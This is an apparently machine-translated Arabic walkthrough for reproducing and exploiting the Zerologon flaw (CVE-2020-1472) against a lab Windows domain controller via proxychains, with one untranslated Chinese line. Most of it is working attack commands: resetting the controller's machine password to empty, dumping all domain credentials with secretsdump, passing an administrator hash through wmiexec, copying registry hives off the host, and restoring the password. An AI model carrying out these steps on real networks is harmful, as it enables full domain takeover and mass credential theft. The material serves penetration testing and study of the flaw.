
cve-2020-1472 إعادة الإنتاج والاستغلال وexp
في بيئة macOS، أعد إنتاج هذه الثغرة في بيئة نطاق Windows باستخدام وكيل بروكسي تشينز (proxychains).
DC (وحدة تحكم المجال الأساسية):

Domain User (جهاز عضو المجال):
عبر إعداد وكيل SOCKS5 مباشر باستخدام gost.

Attack Hacker (جهاز المهاجم):
قم بضبط proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
أضف قائمة ProxyList
[ProxyList] socks5 10.211.55.42 8099
Attack Tools (أدوات الاستغلال):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
إذا ظهر الخطأ التالي عند التنفيذ:

فهذا يشير إلى وجود مشكلة في وحدة impacket؛ جرّب إلغاء تثبيت وحدة impacket وتثبيت أحدث إصدار من GitHub.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
عندها يُحلّ المشكل.
أداة نسخة C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

استخدم zerologon_tester.py للتحقق من وجود الثغرة.
python3 zerologon_tester.py DC 10.211.55.38

ظهور "Success" يعني وجود الثغرة.
استخدم cve-2020-1472-exploit.py لإعادة تعيين حساب الجهاز.
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

تحقق مرة أخرى من أن كلمة مرور الجهاز أصبحت فارغة.

يمكن لحساب جهاز وحدة تحكم المجال استخدام DCSync لتصدير جميع بيانات اعتماد المستخدمين في المجال.
المبدأ:
استخدم بروتوكول DRS (خدمة تكرار الدليل، Directory Replication Service) عبر IDL_DRSGetNCChanges لنسخ بيانات اعتماد المستخدمين من وحدة تحكم المجال.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

في بيئة المجال الفردي:
يعمل بشكل مثالي، وبعد إعادة تشغيل وحدة تحكم المجال لا توجد أي خلل، لكن جهاز عضو المجال قد يواجه مشكلة في DNS، وهذا لا يؤثر على المصادقة.

بعد استعادة كلمة المرور:

في بيئة المجال المزدوج: وحدة تحكم مجال رئيسية DC وحدة تحكم مجال احتياطية DC01:

عند الحصول مبدئيًا على تجزئة جهاز وحدتي تحكم المجال، تبيّن أنهما غير متطابقتين.

عند محاولة استهداف وحدة التحكم الاحتياطية، تبيّن أن ذلك لم يؤثر على وحدة التحكم الرئيسية، كما لوحظ أن بيانات ntdis.dist تتم مزامنتها أيضًا.

عند محاولة استهداف وحدة التحكم الرئيسية، يحدث خطأ في net time /domain كما في بيئة المجال الفردي، لكن بعد إصلاح كلمة المرور تعود الاستجابة فورًا.
يمكن مزامنة الحسابات الجديدة مباشرة.

كما أن تغيير كلمة المرور لا يؤثر على المزامنة.
رأيي الشخصي: لم أرَ أي مشكلة في الخروج من المجال حتى الآن، وأنصح بتجربة هذا الإجراء مرة واحدة، وإذا واجهت أي مشكلة فنرحب بمناقشتي!
تحليل مبدأ ثغرة رفع الصلاحيات في Netlogon (CVE-2020-1472) والتحقق منها
استعادة كلمة مرور حساب جهاز DC$.
عبر
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
احصل على تجزئة مسؤول المجال.


ثم عبر wmic و Pass the Hash احصل على صلاحيات المسؤول المحلي في وحدة تحكم المجال (مسؤول المجال).
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
ثم نفّذ الأوامر التالية لنسخ قاعدة بيانات SAM المحلية إلى جهاز Mac:
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
استخرج التمثيل السداسي العشري الصريح لحساب الجهاز.

أخيرًا نفّذ:
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960
يمكن ملاحظة أن المعلومات استُعيدت بالكامل.